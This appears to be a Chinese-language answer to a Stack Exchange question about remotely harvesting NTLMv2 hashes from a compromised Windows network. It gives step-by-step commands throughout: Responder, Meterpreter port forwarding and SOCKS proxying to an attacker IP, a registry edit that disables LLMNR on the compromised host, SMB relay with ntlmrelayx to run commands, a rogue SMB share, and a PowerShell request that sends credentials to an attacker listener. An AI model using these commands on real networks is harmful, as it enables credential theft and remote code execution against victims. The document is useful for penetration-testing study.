远程采集NTLMv2哈希:Responder.py远程代理可行性及替代方案咨询
一、Responder通过Meterpreter代理采集哈希的可行性
答案是可行的,虽然官方没有专门的文档说明,但社区里已有不少实践案例,核心是通过流量转发让攻击机上的Responder能接收到目标网段的协议请求。
Responder的工作逻辑是被动监听本地网络中的LLMNR、NBNS、MDNS等协议请求,伪造响应诱使目标主机发送NTLMv2哈希。要通过已攻陷主机的Meterpreter实现代理,关键是把目标网段的相关请求转发到攻击机的Responder:
攻击机启动Responder:先在攻击机上启动工具,指定监听接口和开启 verbose 模式方便排查:
python3 Responder.py -I eth0 -vMeterpreter配置流量转发:在攻陷主机的Meterpreter会话中,用
portfwd将目标主机的关键协议端口(LLMNR 5355、NBNS 137等)流量转发到攻击机对应端口:portfwd add -l 5355 -r <攻击机IP> -p 5355 portfwd add -l 137 -r <攻击机IP> -p 137若需要覆盖更广泛的网络请求,也可以配置Socks4a代理:
run socks4a -p 1080然后在攻击机上通过
proxychains让Responder走这个代理,不过被动监听场景下端口转发的效果更直接。关键注意事项:
- 攻陷主机必须处于目标网段内,且能接收其他主机的LLMNR/NBNS广播请求;
- 需要关闭攻陷主机自身的Windows LLMNR、NBNS服务(比如执行
reg add HKLM\SYSTEM\CurrentControlSet\Services\llmnr\Parameters /v Start /t REG_DWORD /d 4),避免与Responder的响应冲突; - 确保攻陷主机的防火墙允许相关端口的流量进出。
二、无需提权、不从lsass获取哈希的替代机制
如果上述代理方案因网络限制无法落地,以下几种机制完全符合你的需求:
SMB Relay攻击:
不需要破解哈希,直接将捕获到的NTLMv2哈希中继到目标主机执行命令。使用Impacket的ntlmrelayx.py即可实现:python3 ntlmrelayx.py -t smb://<目标主机IP> -c "whoami"只要目标主机未启用SMB签名,且攻陷主机有访问目标SMB服务的权限,就能成功执行命令,全程无需提权,也不会触碰lsass进程。
本地伪造服务捕获哈希:
在攻陷主机上部署轻量的伪造SMB/HTTP服务,诱使本地或网段内用户访问以获取哈希。比如用Impacket的smbserver.py启动一个伪造共享:python3 smbserver.py SHARE ./temp普通用户权限就能启动这类服务,当其他用户访问该共享时,就能捕获到他们的NTLMv2哈希。
诱导NTLM认证请求:
在攻陷主机上通过脚本触发其他主机的NTLM认证,攻击机监听捕获哈希。比如用PowerShell发起带NTLM认证的请求到攻击机监听端口:Invoke-WebRequest -Uri http://<攻击机IP>:8080 -UseDefaultCredentials攻击机上用Responder或
ntlmrelayx.py监听8080端口,即可获取哈希,全程无需提权。
内容的提问来源于stack exchange,提问作者DKNUCKLES

